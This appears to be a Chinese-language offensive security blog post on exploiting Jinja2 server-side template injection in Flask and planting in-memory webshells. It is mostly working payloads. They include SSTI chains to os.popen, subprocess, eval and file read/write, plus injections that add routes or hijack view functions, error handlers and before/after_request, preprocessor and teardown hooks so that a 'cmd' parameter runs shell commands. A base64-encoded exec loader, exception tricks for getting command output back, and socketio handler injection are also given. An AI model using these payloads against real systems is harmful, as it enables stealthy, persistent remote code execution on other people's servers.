前言

前段时间在看内存马相关内容时，发现python方面的资料不是很多，感觉可能是python web本来就少没那么热门，能够拿到shell的方法也不多。但是还是在SSTI的漏洞利用基础上探索了一些新姿势。在 websocket 那节纯纯尝试，实战中几乎没有用。

SSTI相关

Flask 框架默认使用 Jinja2 作为模板引擎来动态的渲染网页。关于 SSTI 已经有了不少优秀的文章，这里只是说一下个人理解和折腾。 SSTI 一般的的 Payload 形如（不讨论绕过的情况）：

{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("calc").read()')}}

{{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('calc').read()}} 

{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}

Jinja2 模板引擎中不能直接调用 Python 模块中的方法，但是为了实现动态渲染 Jinja2 模板引擎可以访问一些 Python 中的内置变量和函数，常见的内置变量和函数包括：

布尔值: True 和 False
空值: None
数据类型: list/[], dict/{}, tuple/(), set()
函数: range以及一些魔术方法

同时在 Jinja2 中，如果在模板中引用了一个不存在的变量，那么会返回一个 jinja2.runtime.Undefined对象，而不会触发异常。在P神的《Python 格式化字符串漏洞（Django为例）》一文中提到 SSTI 实际上就是字符串格式化漏洞，如果可以控制被格式化的字符串，就可以通过注入拼接字符串在格式化时访问到内部的变量，对应到 Jinja2 中就需要能够控制模板的内容。

>>> string = 'Hi {user}' + commonds' 2024'
>>> string.format(user='Jack')
'Hi Jack 2024'
>>> b = input()
 {user}
>>> string = 'Hi {user}' + b
>>> string
'Hi {user} {user}'
>>> string.format(user='Jack')
'Hi Jack Jack'

所以在上面常见的 Payload 中，都是拿到一个Object后，寻找其子类中导入了危险模块或者存在危险方法导致可以直接或者间接调用执行代码/命令。由于 Python 万物皆对象 —— 数字、字符串、元组、列表、字典等所有内置数据类型，函数、方法、类、模块，在 Python 中所有的一切都是对象并使用对象模型来存储数据。于是可以通过链式访问 Python 对象的特殊属性和调用魔术方法来寻找可用的子类。由 @hosch3n 师傅给出的思路：

思路一：如果 object 的某个派生类中存在危险方法，就可以直接拿来用思路二：如果 object 的某个派生类导入了危险模块，就可以链式调用危险方法思路三：如果 object 的某个派生类由于导入了某些标准库模块，从而间接导入了危险模块的危险方法，也可以通过链式调用

寻找导入了危险方法可以直接调用的 如：文件读写的一些方法，在 Python3 中重构了** I/O **子系统，所以文件对象变为了 _io，先找到基类_IOBase，然后寻找其子类_io._RawIOBase的子类_io.FileIO，利用这个类来读写文件。或者使用FileLoader.get_data()

[].__class__.__base__.__subclasses__()[101].__subclasses__()[0].__subclasses__()[0]('C:/Windows/win.ini').read()
[].__class__.__base__.__subclasses__()[101].__subclasses__()[0].__subclasses__()[0]('C:/f.txt','w+').write('string'.encode('utf-8'))

[].__class__.__base__.__subclasses__()[94]['get_data']('','C:/Windows/win.ini')

这里可以直接找基类，也可以找到_io后遍历子类

{% set tmp = namespace(idx=0, obj=''.__class__.__bases__[0], fs=['_IOBase', 'FileLoader']) %}
{% for k in tmp.obj.__subclasses__() %}
{% for f in tmp.fs %}
{% if f in k.__name__  %}
<li> {{ f }} | {{ k.__class__ }} {{ k.__module__ }} {{ k.__name__ }} | {{ tmp.idx }} </li>
{% endif %}
{% endfor %}
{% set tmp.idx = tmp.idx + 1 %}
{% endfor %}

寻找直接或间接导入了危险模块从而调用危险方法的以及可以导入其他模块的 如：os sys subprocess importlib linecache``_collections_abc timeit 找到模块后调用就行，下面的Payload是后面部分，前面加上模块对应的子类''.__class__.__bases__[0].__subclasses__()[id]，其实都是围绕这os subprocess来做

# os
.__init__.__globals__['os'].popen('id').read()

# sys
.__init__.__globals__['sys'].modules['os'].popen('id').read()

# subprocess
.__init__.__globals__['subprocess'].call('calc') # 无回显
.__init__.__globals__['subprocess'].run('id', stdout=-1).__dict__['stdout'].strip().decode('utf-8',  errors='replace')
.__init__.__globals__['subprocess'].Popen('whoami',shell=True,stdout=-1).communicate()[0].strip().decode('utf-8', errors='replace')
.__init__.__globals__['subprocess'].check_output('id').strip().decode('utf-8', errors='replace')

# importlib
.__init__.__globals__['importlib']["import_module"]("os")["popen"]("id").read()

# linecache 
.__init__.__globals__['linecache']['sys'].modules['os'].popen('id').read()

寻找导入了危险模块的类

{% set tmp = namespace(idx=0, obj=''.__class__.__bases__[0], ms=['os','sys','subprocess']) %}
{% for k in tmp.obj.__subclasses__() %}
{% if '__globals__' in tmp.obj.__dir__( k.__init__ ) %}
{% for m in tmp.ms %}
{% if m in k.__init__.__globals__.keys() %}
<li>{{ m }} | {{ k.__class__ }} {{ k.__module__ }} {{ k.__name__ }} | {{ tmp.idx }} </li>
{% endif %}
{% endfor %}
{% endif %}
{% set tmp.idx = tmp.idx + 1 %}
{% endfor %}

这里有一个比较特殊的模块__builtins__，__builtins__ 模块是 Python 中的一个内置模块，它包含了一些内置函数、异常和类型。这些函数、异常和类型可以在 Python 中直接访问，而不需要导入任何模块。
所以由这么一个万能的方法：在内建模块里直接调用eval或者exec函数来执行 Python 代码段，在代码段中导入模块实现命令执行。

[].__class__.__base__.__subclasses__()[id].__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()")

关于 Payload 中的方法、属性可以查看 Python 的文档说明 https://docs.python.org/zh-cn/3/reference/datamodel.html 参考文章： Python 格式化字符串漏洞（Django为例） | 离别歌奇安信攻防社区-flask SSTI学习与总结知识星球 | 深度连接铁杆粉丝，运营高品质社群，知识变现的工具

Flask中的内存马

在 Flask 中有一个url_for函数，可以根据视图函数生成一个url，比如在模板中写上如下内容，其中test是路由/test的视图函数名

<a href="{{ url_for('test', name='123') }}"></a>

在访问页面的时候就会出现在这个函数的__globals__里有一个current_app对象，这个对象在 Flask 中作为全局代理对象来访问当前的应用实例，在后面通过 SSTI 实现的内存马的时候，我们就需要先拿到当前运行的 Flask APP 的上下文。然后再调用内建模块中的eval和exec函数执行代码，这样才能操作这个运行的 Flask APP

url_for.__globals__['current_app']

除此之外还有get_flashed_messages

想要在 Flask 中实现内存马，要么实现动态的注册路由，要么在请求的前后拦截路由。 Flask 中可以拦截路由的装饰器或者说钩子函数。

template_filter() 装饰器：用于注册一个模板过滤器，这个过滤器可以在Jinja2模板中使用。
template_global() 装饰器：于注册一个全局模板变量或函数，使其在所有模板中都可以使用。
template_test() 装饰器：用于注册一个模板测试，测试可以在模板条件中使用。
add_template_filter() 装饰器：用于动态添加模板过滤器，与 template_filter() 装饰器功能相同，但更灵活。
add_template_global() 装饰器：用于动态添加全局模板变量或函数，与 template_global() 装饰器功能相同。
add_template_test() 装饰器：用于动态添加模板测试，与 template_test() 装饰器功能相同。
endpoint() 装饰器：用于指定视图函数的端点名称。端点是路由和视图函数的唯一标识符。
errorhandler() 装饰器：用于注册一个错误处理函数，当特定的HTTP错误发生时调用。
after_request() 装饰器：用于注册一个函数，该函数会在每次请求之后调用，通常用于修改响应对象。
before_request() 装饰器：用于注册一个函数，该函数会在每次请求之前执行。
teardown_request() 装饰器：用于注册一个函数，该函数会在每次请求结束后调用，无论请求是否成功。
context_processor() 装饰器：用于注册一个上下文处理器，该处理器返回的字典将合并到模板上下文中。
url_value_preprocessor() 装饰器：用于注册一个函数，该函数会在请求解析URL参数之前调用，可以用于预处理URL参数。
url_defaults() 装饰器：用于注册一个函数，该函数会在构建URL时调用，通常用于设置URL的默认值。

我们随便进入一个装饰器对应的 Flask 应用实例上的方法，跟到最后都可以发现基本上都是对其对应的数据结构进行操作，比如使用装饰器的时候会向结构体里添加一条，请求的时候遍历获取到对应装饰器的函数然后调用。这个数据结构的类型是collections.defaultdict，我们在注入内存马的时候就不需要调用函数，而是直接修改这个数据结构的内容。下面的方法中，有的是可以针对蓝图来进行的。

动态注册路由 @app.route - add_url_rule

Flask 中使用了@app.route装饰器来注册路由，其调用的底层函数为：flask.sansio.scaffold.Scaffold.add_url_rule。以前网上很多关于 Flask 内存马都是通过这个函数来注册一个路由，比如：

{{ url_for.__globals__['__builtins__']['exec'](
"
app.add_url_rule('/shell', 'shell', lambda: '123');
", 
{'app':url_for.__globals__['current_app']})
}}

这个例子调用exec函数并传入了当前的 Flask APP 的上下文作为执行代码的全局命名空间，所以执行代码部分可以拿到 app 来调用add_url_rule注册/shell的路由，并且用一个 lambda 表达式作为视图函数。以前的方法是可行的，但是目前（不知道具体版本从哪里开始）会出现这样的提示：也就是再目前的版本中 Flask APP 在处理了第一个请求后又尝试对应用进行设置是不允许的，所以app._check_setup_finished抛出了异常。

Traceback (most recent call last):
  .......
  File "C:\Users\xxx\AppData\Roaming\Python\Python39\site-packages\flask\sansio\app.py", line 417, in _check_setup_finished
    raise AssertionError(
AssertionError: The setup method 'add_url_rule' can no longer be called on the application. It has already handled its first request, any changes will not be applied consistently.
Make sure all imports, decorators, functions, etc. needed to set up the application are done before running it.

可以看到这个函数只是判断了下_got_first_request的值，那么既然现在能够访问到应用上下文，在add_url_rule前修改他的值就可以了，先看一下这个上下文里有没有这个变量。

{{ url_for.__globals__['current_app'].__dict__ }}

Ok，直接修改前面的 Payload 即可

{{ url_for.__globals__['__builtins__']['exec'](
"
app._got_first_request=False;
app.add_url_rule('/shell', 'shell', lambda: '<pre>{0}</pre>'.format(__import__('os').popen(request.args.get('cmd')).read())
);
app._got_first_request=True;
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']})}}

补充：请求方式和执行结果

在使用这个函数注入内存马后要修改内存马的话，需要获取到原来的匿名函数然后修改。因为再后续修改的话 flask 中有一个判断视图函数和旧的端点对应函数是不是一个，不是的话会抛出异常，函数是flask.sansio.app.App.add_url_rule，并且也不止这一种方法，这个函数只是简化了流程，实际上可以直接去操作：werkzeug.routing.map.Map和werkzeug.routing.rules.Rule这个类以及视图函数结构。指定请求方式和接收参数修改，如果使用exec执行代码是没有返回值的，可以使用eval，但是eval执行不了多行代码。解决这个其实还好，可以多次执行eval，也可以在exec执行的时候将结果保存到全局变量中，eval再去获取。请求方式add_url_rule函数是支持的。

{{ url_for.__globals__['__builtins__']['exec'](
"
app._got_first_request=False;
app.add_url_rule('/shell', 'shell', lambda: eval(request.values['cmd']);, methods=['POST','GET']);
app._got_first_request=True;
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']})}}

{{ url_for.__globals__['__builtins__']['exec'](
"
my_func = lambda: eval(request.values['cmd']);
app.view_functions['shell'] = my_func;
app._got_first_request=False;
app.add_url_rule('/shell', 'shell', my_func, methods=['POST','GET']);
app._got_first_request=True;
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']})}}

现在需要修改路由的请求方式，其他的语言的webshell实现的时候基本上都是通过上传文件实现，请求的方式是可控的，就像上面那样定义路由的时候定义了请求的方式。那么如果我们需要在已有的路由上进行内存马注入，并且修改请求方式应该怎么做呢？先看一下路由注册的实现流程。如下有一个/nonono路由，没有指定请求方式的时候默认是GET（还有框架添加的HEAD``OPTIONS），使用POST请求的时候显示不允许。

@app.route('/nonono')
def my_view():
    return "Hello, nonono!"

这里先跳过了一下默认注册的路由比如/``/static，@app.route装饰器函数使用了@setupmethod -- flask.setupmethod装饰器来校验Flask实例是否开启了debug模式并且获取第一个请求，这里无关紧要，随后调用了self.add_url_rule(rule, endpoint, f, **options)这里的调用并不是下面的那个函数flask.sansio.scaffold.Scaffold.add_url_rule，而是flask.sansio.app.App.add_url_rule() 同样在校验后来到这个函数里。就是一些属性的设置，比如添加默认的一些请求方式。这个时候将路由实例化为了werkzeug.routing.rules.Rule对象，后续就是将这个路由对象添加到 Flask 应用上下文的变量中，这些变量（属性）会在后面用来确定路由和视图函数、端点的对应关系。这个路由对象里没有什么特殊的操作，基本就是各种属性设置了。单步步过到self.url_map.add(rule)这里，url_map是werkzeug.routing.map.Map对象，这里由于是补充内容忘记提了，url_map 在 Flask 应用上下文中还表示路由和端点的对应关系，下文中有说明补充。这里调用了werkzeug.routing.map.Map.add()方法，其实最终就是操作了_rules_by_endpoint这个数据结构，以端点名作为键，键值为一个路由类的列表。可以看到请求方法的定义是在路由类中实现的，这里看到的形如'my_view': [<Rule '/nonono' (GET, HEAD, OPTIONS) -> my_view>]的键值对，这个键值是在路由类中使用了工厂类的迭代器得到的，没有继续跟下去的必要了，反正目前拿到了这个数据结构的位置，就尝试去修改一下，由于是一个迭代得到的需要参考工厂类的实现来做。现在要修改/nonono的请求方法，端点为my_view，查看一下这个类里的属性，这样可以避免直接进入到工厂类去跟。这里有一个methods属性，是一个集合。

{{ url_for.__globals__['current_app'].url_map._rules_by_endpoint.my_view[0].__dict__ }}

往集合添加一个POST再看看，就已经可以对路由进行POST请求了。下面的内容中没有提到这一点，所以可以参考这个来修改。

{{ url_for.__globals__['current_app'].url_map._rules_by_endpoint.my_view[0].methods.add('POST') }}

# url_for.__globals__['current_app'].url_map._rules_by_endpoint.端点名/视图函数名[0].methods.add('POST')

对于执行结果，Python 中 eval 函数有返回值，但是只能执行单行代码，exec 函数可以执行多行代码，但是返回值永远为空。Flask 在遇到视图函数返回值为空的时候会直接抛出异常。对于实现内存马来说我们需要的还是代码执行而不光是一个 cmdshell。如果需要执行多行代码并且返回结果的话，一种是不使用 lambda 函数作为视图函数，这需要我们在 SSTI 漏洞利用的时候使用 exec 函数，这样可以直接写上需要的函数作为视图函数。

{{ url_for.__globals__['__builtins__']['exec'](
"
def my_func():
    data = 'hello'
    return data
app.view_functions['shell'] = my_func;
app._got_first_request=False;
app.add_url_rule('/shell', 'shell', my_func, methods=['POST','GET']);
app._got_first_request=True;
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']})}}

或者将函数编码后，使用 exec 执行定义函数的部分，这样视图函数（内存马）也就注册了。比如下面这个my_func函数就是内存马部分：接收一个cmd作为执行的 Payload，在使用exec函数的时候可以为其执行代码传递globals命名空间对应parma，parma['resp']就是获取执行的 Payload 结果。

def my_func():
    import base64
    parma = {'resp': None}
    if 'cmd' in request.values:
        p_code = base64.b64decode(request.values['cmd'])
        exec(p_code, parma)
    return parma['resp']

那么 Payload 就可以像编写 py 脚本一样了，尽量使用自带库完成，将结果放到 resp中。

import os
def cmd_run():
    return os.popen('whoami').read()
resp = cmd_run()

注入内存马可以这样来：

{{ url_for.__globals__['__builtins__']['exec'](
"
exec(__import__('base64').b64decode('CmRlZiBteV9mdW5jKCk6CiAgICBpbXBvcnQgYmFzZTY0CiAgICBwYXJtYSA9IHsncmVzcCc6IE5vbmV9CiAgICBpZiAnY21kJyBpbiByZXF1ZXN0LnZhbHVlczoKICAgICAgICBwX2NvZGUgPSBiYXNlNjQuYjY0ZGVjb2RlKHJlcXVlc3QudmFsdWVzWydjbWQnXSkKICAgICAgICBleGVjKHBfY29kZSwgcGFybWEpCiAgICByZXR1cm4gcGFybWFbJ3Jlc3AnXQo='))
app.view_functions['shell'] = my_func;
app._got_first_request=False;
app.add_url_rule('/shell', 'shell', my_func, methods=['POST','GET']);
app._got_first_request=True;
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']})}}

执行 Payload 就将 py 代码 base64 编码后传入即可

获取 session

{{ url_for.__globals__.session.get('test') }}

Payload = """
def shell_func():
    return gl['session'].get('test')
resp = shell_func()
"""

修改视图函数 @app.endpoint

这个装饰器是用来建立视图函数和路由之间的关系，底层操作的是数据view_functions，用法如下，这种用法

app.add_url_rule("/", endpoint="index")

@app.endpoint("index")
def index():
    ...

在一个请求开始进行处理的时候，会在flask.app.Flask.dispatch_request函数中从view_functions中找到对应的视图函数来进行处理，我们可以通过url_for.__globals__['current_app'].__dict__['url_map']来查看当前应用上下文中的endpoint和路由的对应关系，也就知道了有哪些endpoint，如果没有设置endpoint，那么默认就是其视图函数名，可以通过url_for.__globals__['current_app'].__dict__['view_functions']查看视图函数，这样可以区别出哪些是endpoint，哪些是视图函数。比如这里有一个hello_endpoint对应路由/hello，对应的视图函数是hello_world 由于直接修改的话会导致这个路由都变成内存马，因为这里是直接调用了视图函数处理返回，而不是在视图函数前后处理。我们可以通过如下 Payload 修改其视图函数，实现/hello上的内存马的同时不影响原来的页面

{{ url_for.__globals__['__builtins__']['exec'](
"
app.backup_func=app.view_functions['hello_endpoint'];
app.view_functions['hello_endpoint']=lambda : __import__('os').popen(request.args.get('cmd')).read() if 'cmd' in request.args.keys() is not None else app.backup_func()
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']}) }}

# 直接
app.view_functions['hello_endpoint']=lambda : __import__('os').popen(request.args.get(request.args.get('cmd'))).read()

请求拦截路由内存马

@app.errorhandler

这个装饰器用于注册一个错误处理函数，当特定的 HTTP 错误发生时调用。其最终操作的数据是error_handler_spec用法如下

@app.errorhandler(404)
def page_not_found(error):
    return 'This page does not exist', 404

当发生请求错误的时候，会调用flask.sansio.app.App._find_error_handler的函数遍历error_handler_spec找到对应错误的处理函数。可以通过url_for.__globals__['current_app'].__dict__['error_handler_spec']查看有没有错误处理函数。

使用下面的 Payload 可以实现针对404错误的内存马，当访问一个不存在的路由就会触发。

{{ url_for.__globals__['__builtins__']['exec'](
"
app.backup_errfunc=app.error_handler_spec[None][404][app._get_exc_class_and_code(404)[0]];
app.error_handler_spec[None][app._get_exc_class_and_code(404)[1]][app._get_exc_class_and_code(404)[0]] = lambda c: __import__('os').popen(request.args.get('cmd')).read() if 'cmd' in request.args.keys() else app.backup_errfunc(c)
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']}) }}

{{ url_for.__globals__['__builtins__']['exec'](
"
app.error_handler_spec[None][404][app._get_exc_class_and_code(404)[0]] = lambda c: __import__('os').popen(request.args.get('cmd')).read() if 'cmd' in request.args.keys() else c
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']}) }}

@app.url_value_preprocessor

这个装饰器用于注册一个函数，该函数会在请求解析URL参数之前调用，可以用于预处理URL参数。其最终操作的数据是url_value_preprocessors，在处理请求的时候，函数flask.app.Flask.preprocess_request先对遍历了它来直接调用对应的函数，并且这个没有对函数的返回值进行处理，也就是无回显，是对全局生效。

@app.url_value_preprocessor
def url_preprocessor(endpoint, values):
    ...

如果我们要实现的内存马的需要考虑回显的问题，如果是在 Debug 模式开启的情况下，直接制造异常，在异常信息中输出，如果是非 Debug 模式看能否出网，出网反弹shell，不出网就添加新的路由以及修改配置。这种方法是针对的全局路由并且无回显，所以不想影响到其他路由先判断一下。

{{ url_for.__globals__['__builtins__']['eval'](
"
app.url_value_preprocessors[None].append(lambda ep, args : __import__('os').popen(request.args.get('cmd')) if 'cmd' in request.args.keys() else None)
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']}) }}

无回显的解决方法

2.1 Debug模式抛出异常

利用异常来抛出回显，Python lambda 表达式中是不能直接raise Exception或者try-except可以使用下面的方法来在 lambda 表达式抛出异常，如果是在实战中的，异常可能会被日志记录。 Just a moment...

2.1.1 方法一

创建一个生成器对象，调用throw方法来引发异常

lambda : (_ for _ in ()).throw(Exception('this is a tuple exception 11'))
lambda : [][_ for _ in ()].throw(Exception('this is a list exception'))
lambda : {_: _ for _ in ()}.values().__iter__().throw(Exception('this is a dict exception'))

{{ url_for.__globals__['__builtins__']['eval'](
"
app.url_value_preprocessors[None].append(lambda ep, args: (_ for _ in ()).throw(Exception(__import__('os').popen(request.args.get('cmd')).read())) if 'cmd' in request.args.keys()  else None)
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']}) }}

2.1.2 方法二

通过一定会抛出异常的错误表达式来强行抛出异常，选择可以回显的

lambda : 1/0
lambda : [][0]
lambda : {}['8sd***r']
lambda : int('aaa') # 回显有长度限制
lambda : float('aaa')
lambda : getattr(object, 'nonexistent_attribute')

{{ url_for.__globals__['__builtins__']['eval'](
"
app.url_value_preprocessors[None].append(lambda ep, args : {}[__import__('os').popen(request.args.get('cmd')).read()]  if 'cmd' in request.args.keys() else None)
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']}) }}

2.1.3 方法三

通过exec执行语句

lambda : exec('raise(Exception("this is an exception"))')

{{ url_for.__globals__['__builtins__']['eval'](
"
app.url_value_preprocessors[None].append(lambda ep, args: exec('raise(Exception(__import__(\'os\').popen(request.args.get(\'cmd\')).read()))') if 'cmd' in request.args.keys() is not None else None)
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']}) }}

2.1.4 方法四

老外写的这个挺骚的，但是没有找到回显的地方，看了下的他的实现思路，感觉可以找一个能爆出参数值的异常的函数去搞。code：表示编译后的函数体的代码对象。可以用来调用函数

lambda :  type(lambda:0)(type((lambda:0).func_code)(
  1,1,1,67,'|\0\0\202\1\0',(),(),('x',),'','',1,''),{}
)(Exception())

lambda : type(lambda: 0)(type((lambda: 0).__code__)(
    1,0,1,1,67,b'|\0\202\1\0',(),(),('x',),'','',1,b''),{}
)(Exception())

lambda : type(lambda: 0)(type((lambda: 0).__code__)(
    1,0,1,1,67,b'|\0\202\1',(),(),('x',),'','',1,b''),{}
)(Exception)

2.2 非Debug模式

2.2.1 注册路由

参照上面

2.2.2 反弹shell

2.2.3 异常处理

如果在无回显的非 Debug 模式下依然使用抛出异常的方法的会发现页面返回的是500错误。从 Flask 的处理流程里看，首先会在**wsgi_app()**自动推送请求上下文，接着调用full_dispatch_request()分派请求，并在此基础上执行请求预处理和后处理以及 HTTP 异常捕获和错误处理。这里对处理请求的过程进行了异常包裹，如果出现异常，会将异常传递给handle_exception()，在官方的解释为_处理没有关联错误处理程序的异常，或者从错误处理程序引发的异常。这总是会导致 _500_。_同时还有如下说明：

Flask will suppress any server error with a generic error page unless it is in debug mode. As such to enable just the interactive debugger without the code reloading, you have to invoke run() with debug=True and use_reloader=False. Setting use_debugger to True without being in debug mode won’t catch any exceptions because there won’t be any to catch. Flask 将使用通用错误页面抑制任何服务器错误，除非处于调试模式。因此，要仅启用交互式调试器而不重新加载代码，您必须使用 debug=True 和 use_reloader=False 调用 run() 。在不处于调试模式的情况下将 use_debugger 设置为 True 不会捕获任何异常，因为不会捕获任何异常。

这也说明了为什么能够在 Debug 模式会有非500的异常回显。先看一下如果是一个404错误在 Flask 中是如何处理的。在 app.py中最后断点，这里是由 werkzeug 调用的。从wsgi_app()进入到full_dispatch_request()中，这里调用了preprocess_request()预处理请求函数，同时也是在这个函数里实现了利用@app.url_value_preprocessor路由来作为内存马的方法，也就是这个调用中内存马抛出了异常。出现异常后会直接调用handle_user_exception()函数来进行处理。

handle_user_exception(e) 处理用户异常(e) ¶ 每当发生需要处理的异常时，就会调用此方法。一个特殊情况是 HTTPException ，它被转发到 handle_http_exception() 方法。此函数将返回响应值或使用相同的回溯重新引发异常。

可以看到这个时候触发的异常是<NotFound '404: Not Found'>，如果是利用内存马来抛出的异常的话就是接着进入到用户异常处理函数，这里先判断异常是否为HTTPException，如果是的话就使用handle_http_exception()处理否则会去查找有没有为这个异常定义处理函数，如果没有就会抛出。其实跟到这里就有一些找到回显的方法了，一个是为内存马抛出的异常定义处理函数，一个就是定义内存马抛出的异常类型。比如这样实现，在为500错误注册了处理函数后，通过通过在非 Debug 模式下抛出异常。啊，一点都不优雅

{{ url_for.__globals__['__builtins__']['exec'](
"
app.error_handler_spec[None][500][app._get_exc_class_and_code(500)[0]] = lambda c: __import__('os').popen(request.args.get('cmd')).read() if 'cmd' in request.args.keys() else c;
app.url_value_preprocessors[None].append(lambda ep, args: (_ for _ in ()).throw(Exception) if 'cmd' in request.args.keys()  else None)
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']}) }}

又比如定义内存马抛出的异常类型为HTTPException，这样就可以定义异常的类型了，这里定义为404``200都可以，~~前提是你能够触发~~。

{{ url_for.__globals__['__builtins__']['exec'](
"
he=ufg['HTTPException'];he.code=404;
app.url_value_preprocessors[None].append(
lambda ep, args: (_ for _ in ()).throw(he(description=__import__('os').popen(request.args.get('cmd')).read())) if 'cmd' in request.args.keys() is not None else None
)
", 
{'request':url_for.__globals__['request'], 'ufg': url_for.__globals__, 'app':url_for.__globals__['current_app']}) }}

这里定义的404，效果如下：因为lambda函数里判断是否执行内存马，所以不会影响其他，只有在执行的时候抛出一个404异常，然后这个时候就可以经过上面提到的对异常类型的判断。这里是一个HTTPException异常后就能够正常的回显了。并且这里这个路由存不存在都没关系。

其实在做这里的时候，对于异常的处理这块还想了一些其他的方法，比如打开 debug，做过之后发现是能够修改的，但是修改了也没用，在文件里打开的时候，flask 应用的启动是通过werkzeug中的debug来启动的。还有就是想到了修改500错误的回显，这个报错TypeError: 'mappingproxy' object does not support item assignment是不允许修改的。

@app.before_request

这个装饰器用于注册一个函数，该函数会在每次请求之前执行。它常用于在处理请求之前进行一些预处理操作，如验证用户身份、设置全局变量等。最终操作的数据是before_request_funcs，这个装饰器可以有多个，按照注册顺序调用。可以通过url_for.__globals__['current_app'].__dict__['before_request_funcs']查看有哪些。在处理请求的时候，函数flask.app.Flask.preprocess_request先对url进行预处理后对请求进行预处理。

@app.before_request
def first_before_request():
    ...

Payload 如下

{{ url_for.__globals__['__builtins__']['eval'](
"
app.before_request_funcs.setdefault(None, []).append(lambda : '<pre>{0}</pre>'.format(__import__('os').popen(request.args.get('cmd')).read()) if 'cmd'in request.args.keys() is not None else None
)
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']}) }}

@app.after_request

这个装饰器用于注册一个函数，该函数会在每次请求之后调用，通常用于修改响应对象。其最终操作的数据为after_request_funcs，当一个请求在返回之前会传入一个Response调用process_response函数来对响应进行处理。定义的处理函数需要接收一个Response对象处理后返回Response对象。

在版本 1.1.0 中进行了更改：当没有处理程序时，即使对于默认的 500 响应，也会完成 after_request 函数和其他终结。

@app.after_request
def after_request_func(response):
    response.headers['X-Something'] = 'A value'
    return response

Payload如下

{{ url_for.__globals__['__builtins__']['eval'](
"
app.after_request_funcs.setdefault(None, []).append(lambda resp: ufg['Response']('<pre>{0}</pre>'.format(__import__('os').popen(request.args.get('cmd')).read())) if 'cmd'in request.args.keys() is not None else resp)
", 
{'request':url_for.__globals__['request'], 'ufg': url_for.__globals__, 'app':url_for.__globals__['current_app']}) }}

@app.teardown_request

这个装饰器用于注册一个函数，该函数会在每次请求结束后调用，无论请求是否成功。拆卸函数的返回值将被忽略。在请求结束后do_teardown_request函数会被调用。这个函数的也是没有回显的，所以可参考前面说到的方法。

{{ url_for.__globals__['__builtins__']['eval'](
"
app.teardown_request_funcs.setdefault(None, []).append(lambda exc:  __import__('os').popen(request.args.get('cmd')) if 'cmd' in request.args.keys() else None)
", 
{'request':url_for.__globals__['request'], 'ufg': url_for.__globals__, 'app':url_for.__globals__['current_app']}) }}

@app.context_processor

这个装饰器用于注册一个上下文处理器，该处理器返回的字典将合并到模板上下文中。最终操作的数据是template_context_processors，具体用法参考：https://developer.aliyun.com/article/1196915 直接点说就是用它来注册在模板中使用的变量，当模板渲染的时候会自动调用这个函数得到一个字典。然后用字典里面的变量去替换模板中的内容。所以作为内存马使用的话就比较局限了。由update_template_context函数来操作。 Payload如下，lambda函数里返回了一个字典，键值是ak47，要想拿到回显的话可以参考前面的内容，或者使在有 SSTI 的地方使用。貌似也可以配合模板操作的装饰器实现回显。

{{ url_for.__globals__['__builtins__']['eval'](
"
app.template_context_processors[None].append(lambda : {'ak47': __import__('os').popen(request.args.get('cmd')).read() if 'cmd'in request.args.keys() is not None else None})
", 
{'request':url_for.__globals__['request'], 'ufg': url_for.__globals__, 'app':url_for.__globals__['current_app']}) }}

@app.teardown_appcontext

装饰器标记的函数会在每次应用环境销毁时调用。操作的数据是teardown_appcontext_funcs，在请求结束销毁的时候由do_teardown_appcontext()函数调用，所以就很特殊，在这里调用的时候请求上下文已经消失获取不到上下文包括传递的url参数，也就无法控制内存马，但是依然可以命令执行，不过在每次请求的时候都会被调用。所以要么配合其他装饰器在这个装饰器的函数调用之前，将request对象保存到 Flask 的全局变量 g中，然后再拿到参数。

{{ url_for.__globals__['__builtins__']['exec'](
"
g=ufg['g']
app.teardown_request_funcs.setdefault(None, []).append(lambda exc: exec('g.saved = {\'path\':request.path, \'args\':request.args}') );
app.teardown_appcontext_funcs.append(lambda exc: __import__('os').popen(g.saved['args'].get('cmd')) if '/shell'==g.saved['path'] else exc ) 
", 
{'request':url_for.__globals__['request'], 'ufg': url_for.__globals__, 'app':url_for.__globals__['current_app']}) }}

属于是脱裤子放屁了。没有回显。只有访问/shell?cmd=calc才会执行。回显问题依然参考前面的抛出异常啥的。这个可以弄404的。

WebSocket内存马

没法实现，一个是flask框架本身没有对websocket的支持， https://www.cnblogs.com/tianyiliang/p/17544455.html https://mp.weixin.qq.com/s/_hNrF2zKb7qFKBMXnf3kfA https://www.liujiangblog.com/course/python/77 https://www.cnblogs.com/fishou/p/4175732.html https://worktile.com/kb/ask/21407.html 基于socket实现websocket服务 https://blog.csdn.net/difu0201/article/details/101582682 https://www.cnblogs.com/lujiacheng-Python/p/10293830.html

https://cloud.tencent.com/developer/article/1887095

# ws路由句柄
url_for.__globals__.current_app.extensions['socketio'].server.handlers

url_for.__globals__.current_app.extensions['socketio'].server.handlers['/shellws']= {'shell': lambda j: print(123123)} 

app.extensions['socketio'].server.handlers['/chat']['join']=lambda e,d: __import__('os').popen('calc')
lambda e,d: __import__('os').popen('calc')

handler=lambda e,d: __import__('os').popen('calc')



{{ url_for.__globals__['__builtins__']['exec'](
"
app.extensions['socketio'].server.handlers['/wsshell'] = {};
app.extensions['socketio'].server.handlers['/wsshell']['shell']=lambda e,d: __import__('os').popen('calc')
", 
{'app':url_for.__globals__['current_app']})
}}



{{ url_for.__globals__['__builtins__']['exec'](
"
app.extensions['socketio'].server.handlers['/wsshell'] = {'shell':lambda e,d: __import__('os').popen('calc')}
", 
{'app':url_for.__globals__['current_app']})
}}

Flask-socketio

